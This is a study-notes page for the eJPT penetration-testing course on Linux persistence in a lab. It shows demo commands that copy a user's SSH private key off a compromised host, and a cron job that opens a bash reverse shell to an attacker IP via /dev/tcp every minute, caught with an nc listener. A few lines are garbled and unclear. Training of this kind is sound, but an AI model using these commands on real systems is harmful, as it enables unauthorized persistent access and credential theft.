> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/persistence/linux-persistence.md).

# Linux Persistence

### Persistence Via SSH Keys

* Linux is typically deployed as a server operating system and as a result. Linux servers are typically accessed remotely via service/protocols such as SSH.
* if SSH is enabled and running on a Linux system you have compromised, you can take advantage of the SSH configuration to establish persistent access on the target system.
* In most cases Linux servers will have key-based authentication enabled for the SSH service, allowing users to access the Linux system remotely without the need for a password.
* After gaining access to a Linux system, we can transfer the SSH private key of a specific user account to our system and use that SSH private key for all future authentication and access.

DEMO

```
ssh student@<IP>

# ls -al
# cat wait
# cd .ssh/
# ls 
# cat id_rsa

```

* id\_rsa - is a private ssh key
* id\_rsa.pub - is a public ssh key
* To transfer a file from remote machine to local machine using SSH & SCP

<pre><code>scp student@&#x3C;IP>:~/.ssh/id_rsa .
chmod 400 id_rsa
<strong>
</strong><strong>old ssh 
</strong><strong># rm wait 
</strong></code></pre>

* it changes the password

```
ssh -i id_rsa student@<IP>
```

***

### Persistence Via Cron Jobs

* Linux implements task scheduling through a utility called Cron. Cron is a time-based service that runs applications, scripts and other commands repeatedly on a specified schedule.
* An application, or script that has been configured to be run repeatedly with Cron is known as a Cron job.
* We can use Cron jobs to execute a command or script at a fixed interval to ensure we have persistent access to the target system.

<figure><img src="/files/T1iwEc1kqcriYVv0SKWo" alt=""><figcaption></figcaption></figure>

DEMO

```
ssh student@<IP> 

# ls -al
# cat /etc/cron*
# echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" > cron
# cat cron
# crontab -i cron
# crontab -l
```

```
nc -nvlp 1234

# whoami
# cat flag.txt
```